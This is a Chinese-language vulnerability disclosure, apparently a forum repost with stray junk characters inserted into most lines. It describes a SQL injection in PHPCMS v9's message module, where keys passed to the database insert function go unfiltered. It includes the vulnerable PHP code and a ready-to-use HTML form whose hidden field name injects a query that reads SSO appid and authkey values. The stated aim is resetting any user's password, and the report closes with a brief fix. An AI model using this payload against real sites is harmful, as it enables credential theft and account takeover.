|
|
简要描述:
/ U4 m" v! P: L
9 O, {7 ?* t' f1 v0 U第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
N" t9 A9 h7 Z1 }* S# U- Z* O; s' F/ U4 Z0 f
明天再更新下一个漏洞。7 `# [$ i1 O& W! G& q* b7 B
详细说明:
6 {0 E8 J, P* O/ U* k在/phpcms9/phpcms/modules/message/index.php中有代码如下:& ^& K; f( ?; }6 A: e
, m8 w3 F+ q) V* z
$messageid = $this->message_db->insert($_POST['info'],true);9 z5 N; e: R1 V& _
# a, c" z U. H/ g4 l4 J6 I/ U
9 q6 q5 _1 O$ I" X$ vinsert方法是key value的,代码如下:
! E7 c. T0 N x, S& C4 K* T- P+ p- |! Q7 t5 ~; r5 E( c8 ^2 V2 a
public function insert($data, $table, $return_insert_id = false, $replace = false) {2 b4 E, P( Z4 J2 O4 s( P
if(!is_array( $data ) || $table == '' || count($data) == 0) {( L9 s6 |2 y" {& O
return false;
4 r$ W a8 w' }4 F& c }. c: T* l$ ~( e" w& Y: r
/ v4 p' G$ y* k8 y" Y$ @; i% l $fielddata = array_keys($data);
0 c: m# ?- `9 J) X+ Y $valuedata = array_values($data);, u, E! X' Y, d* k* |& d5 _
array_walk($fielddata, array($this, 'add_special_char'));9 h. u' }. t! F2 a9 K
array_walk($valuedata, array($this, 'escape_string'));
: q1 _3 O; A6 W& N8 F
3 N/ f' M6 O: V $field = implode (',', $fielddata);
, G6 m% f" a5 E $value = implode (',', $valuedata);
9 C+ }8 O' Q9 P8 q9 D+ I- m9 E. d* p5 I* R
$cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
# ^1 u: W. k0 k* Y $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
+ I; O; G; D" k( L! V $return = $this->execute($sql);
# i0 Q) U8 ]! r0 Z$ K- ? E return $return_insert_id ? $this->insert_id() : $return;7 E3 w3 x9 H* T
}
( Z% j3 r( F$ R1 C
, y0 s/ H* ]2 V2 g) q% a% p
: b2 A* h1 x2 [& {' a; t嗯,很遗憾的是
. m) E0 S* g2 n- u- v8 Y& ^8 a( F3 }( v. }& ~" f. H7 f! A+ D
array_walk($fielddata, array($this, 'add_special_char'));3 F* `# ]: ]! x {3 [
4 r- k( ~+ b: e( k- Q$ S
+ W7 ]* C+ J( P7 d* X& h7 m' s中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。4 ?2 G4 g! E- y# z
* H6 L1 K/ r6 ~+ y$ K" l" m到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
+ W/ C: m7 @3 D+ k w n: ~# m4 L
漏洞证明:
4 V- ~) ]2 L9 v. j# i7 x读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。9 {1 a8 ]! S' N5 g
5 D# r9 M2 {, I/ U9 Y$ Z
/ D% t. ^; W9 P: Q4 }- ?表单如下:用户名什么的得自己改一改。
9 M, E6 H- F% n H" L3 ]9 n<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
2 e, z6 K4 I5 C4 t<table width="100%" cellspacing="0" class="table_form">
. Z0 @, |5 K0 {6 W, ]<tr>2 n. n. A$ ~* Z$ j9 G2 F# [
<th>标 题:</th>
% d6 L9 f" f L0 V. ^2 ?7 B<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
+ l6 C9 f7 q5 N* o# n0 ?</tr> $ p# F" S% K% ^. {! s
<tr>( ^9 |9 k7 H: A l0 t
<th>内 容:</th>( T3 K/ E$ J9 ^7 Y4 L
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>
6 r2 C1 o) y0 u2 R$ h</tr>5 i" l# V, t, t( P
<input type="hidden" name="info[replyid]" value="2" /> ) f- e5 ?2 W- ~, r+ E7 w
<input type="hidden" name="info[send_to_id]" value="cc" /> $ Y/ I. O7 d3 n8 d' U- ]. Q
<input type="hidden" name="info[send_from_id]" value="hh">' m& a& |" ~3 x- b% z
<!-- 漏洞的利用重点在这里开始 -->
% G; U9 d* R" A" W- A<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> ! k# J% |$ F, w1 @1 N8 D6 f2 X8 ?1 U
<!-- 漏洞的利用重点在这里结束 -->3 P1 w1 w8 F4 a0 G! @ v/ [- {" ?* L
<tr>4 T! E# o: K' P" K6 T0 Y$ y
<th>验证码:</th>" f9 ~; E4 C W+ M! q) V9 u' x* h) C/ {( ]
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>4 ] |* d) i+ k% {* l
</tr>3 W7 R5 n/ l5 V; T" z
<tr>
# W) P( j; @2 P3 h9 S; ] ]' Y<td></td>3 n: G; \0 w" g+ p; ]2 E
<td colspan="2"><label>; j5 _# O& |* [6 y2 r8 |, Z8 j
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>: k8 Y* d a. m, ~$ a0 G2 s4 m
</label></td>
9 f8 x' H$ `+ y8 v3 p* r</tr>
* n3 }8 n- o# }- U</table>
' f+ a* v- l9 M</form>' ^! o, n* `. n/ _- ~6 Z9 l% n
在add_special_char函数内对key做过滤就可以了。
# _ |1 Q& Y4 @2 ^# |+ J- g j9 O% f) E
7 c" u8 q" p* \6 e ` [% ]' S# }2 M5 X3 B! Y' P& }
/ n2 J2 K4 I3 Z7 V9 n
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|